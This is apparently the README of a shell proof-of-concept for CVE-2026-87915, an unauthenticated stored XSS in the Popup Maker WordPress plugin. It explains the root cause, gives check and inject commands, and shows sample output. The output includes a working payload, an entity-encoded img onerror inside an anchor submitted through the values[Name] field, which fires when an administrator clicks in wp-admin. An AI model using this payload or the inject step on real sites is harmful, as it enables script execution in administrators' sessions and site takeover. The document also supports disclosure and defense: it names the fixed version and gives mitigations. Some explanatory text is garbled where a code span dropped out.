Shell PoC for CVE-2026-87915, an unauthenticated stored XSS in the Popup Maker WordPress plugin (<=1.24.0). Fingerprints the plugin and demonstrates payload injection.
| Component | Popup Maker – Boost Sales, Conversions, Optins, Subscribers (WordPress plugin) |
| Type | CWE-79 — Stored Cross-Site Scripting |
| Affected | <= 1.24.0 |
| Fixed | 1.25.0 |
| CVE | CVE-2026-87915 — CVSS 3.1 7.2 (AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
A public Popup Maker optin/newsletter form accepts the values[Name] parameter without
sanitization (action=pum_sub_form). The value is stored server-side and later rendered in the
admin Subscribers screen. The wp_kses() filtering applied on output is insufficient in this
context: HTML entities inside allowed attribute values survive normalization and are evaluated by
the jQuery( link.attr('href') ) DOM sink in wp-admin/js/common.js when an administrator clicks
a contextual help-tab anchor. Net effect: unauthenticated stored XSS against an administrator
(one click required on the admin side).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and detect a public subscribe form
./poc.sh check --target https://example.com
# Store the payload (writes ONE subscriber row; requires authorization)
./poc.sh inject --target https://example.com --authorized
inject uses a unique test email by default and prints the cleanup steps (admin UI or
DELETE FROM wp_pum_subscribers WHERE email = '…';).
check)== CVE-2026-87915 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Popup Maker assets are served (plugin installed)
[info] detected version: 1.22.0
[PASS] version 1.22.0 is in the affected range (<= 1.24.0)
[2] Public subscribe form detection (read-only)
[PASS] Popup Maker markup found on the site (a public form may accept values[Name])
inject, lab)[3] Stored injection via pum_sub_form (writes one subscriber row)
response: {"success":true,"data":{"message":"You have been subscribed!"}}
[PASS] the server accepted and stored the payload unauthenticated
values[Name] = <a href="https://github.com/pwnvader/cve-2026-87915-poc-pwnvader/blob/main/%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E">VDP-XSS-PROOF</a>
values[name] (lowercase) is the normal field; the mixed-case values[Name] collides during
PHP array-key normalization and carries the payload through.wp_kses() allows the <a href> element; the entity-encoded `` inside the
attribute survives filtering and is decoded/normalized later.wp-admin/js/common.js evaluates jQuery( link.attr('href') ), which parses the decoded HTML
and fires the onerror handler.esc_html() + sanitize_text_field() on the
stored value; see the vendor changeset for classes/Admin/Subscribers/Table.php).values[Name] at the WAF level.For authorized security testing only. check is read-only; inject creates exactly one test
subscriber row — delete it afterwards with the printed cleanup command.